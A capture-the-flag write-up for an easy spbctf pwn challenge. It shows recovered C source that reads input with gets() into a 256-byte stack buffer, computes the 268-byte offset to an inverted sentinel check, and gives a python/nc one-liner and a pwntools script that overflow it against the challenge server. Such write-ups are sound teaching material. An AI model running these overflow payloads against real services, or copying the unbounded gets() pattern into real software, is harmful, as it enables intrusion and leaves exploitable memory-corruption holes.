Simple Suprise
Simple Suprise
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-02 | Status: Solved Techniques: inverted_comparison_bypass, sentinel_overwrite, stack_buffer_overflow
Summary
Task: 64-bit ELF using unbounded gets() into a 256-byte stack buffer guarded by a hand-rolled 0xcafebabe sentinel, with inverted logic that prints the flag only when the sentinel is corrupted. Solution: overflow 268 bytes to reach and change the sentinel so data != 0xcafebabe, triggering print_flag().
Simple Suprise — spbctf
Description
Welcome to task:
Remote: nc 109.233.56.90 11611. Binary simple_surprise_1 (ELF 64-bit LSB, x86-64,
dynamically linked, not stripped). Hosted under a directory named canary, but the
binary has no real stack-smashing protector — instead it uses a manually placed
sentinel integer that is trivially defeatable.
Goal: reach print_flag(), which reads and prints the local flag file.
Analysis
The recovered source (the program prints task1.c on success):
c read-only • copy allowedvoid work() { int data = 0xcafebabe; char buf[256]; setvbuf(stdout, NULL, _IONBF, 0); puts("Welcome to task:"); gets(buf); // unbounded read -> overflow if (data != 0xcafebabe) { // INVERTED: flag printed when data is corrupted puts("Hacker!"); print_flag(); // printout("flag"); printout("task1.c"); } else { puts("Good but not enough"); } }
Key facts from disassembly:
bufis at[rbp-0x110].- The sentinel
int data = 0xcafebabeis at[rbp-0x4]. - The comparison logic is inverted:
print_flag()runs only whendata != 0xcafebabe. - Overwrite distance from start of
bufto the sentinel:0x110 - 0x4 = 0x10c = 268bytes.
gets() performs an unbounded read, so we can freely write past buf and into the
sentinel. The sentinel is a fake, hand-rolled "canary" (explaining the directory name),
but because the win condition is data != 0xcafebabe, simply overwriting it with any
other value unlocks the flag. No ROP, no return-address control, and no leak are
required — this is a ret2win-adjacent bug solved by flipping one stack variable.
Solution
Send 268 bytes to fill buf up to the sentinel plus a few extra to overwrite data
(272 As comfortably covers it). The sentinel becomes 0x41414141 != 0xcafebabe,
so the if branch executes print_flag().
bash read-only • copy allowedpython3 -c "import sys; sys.stdout.buffer.write(b'A'*272 + b'\n')" | nc 109.233.56.90 11611
Output:
Welcome to task:
Hacker!
File flag:
spbctf{REDACTED}
Equivalent pwntools version:
python read-only • copy allowed#!/usr/bin/env python3 from pwn import remote io = remote("109.233.56.90", 11611) io.recvuntil(b"Welcome to task:") io.sendline(b"A" * 272) # 268 to reach sentinel + padding print(io.recvall(timeout=3).decode(errors="replace"))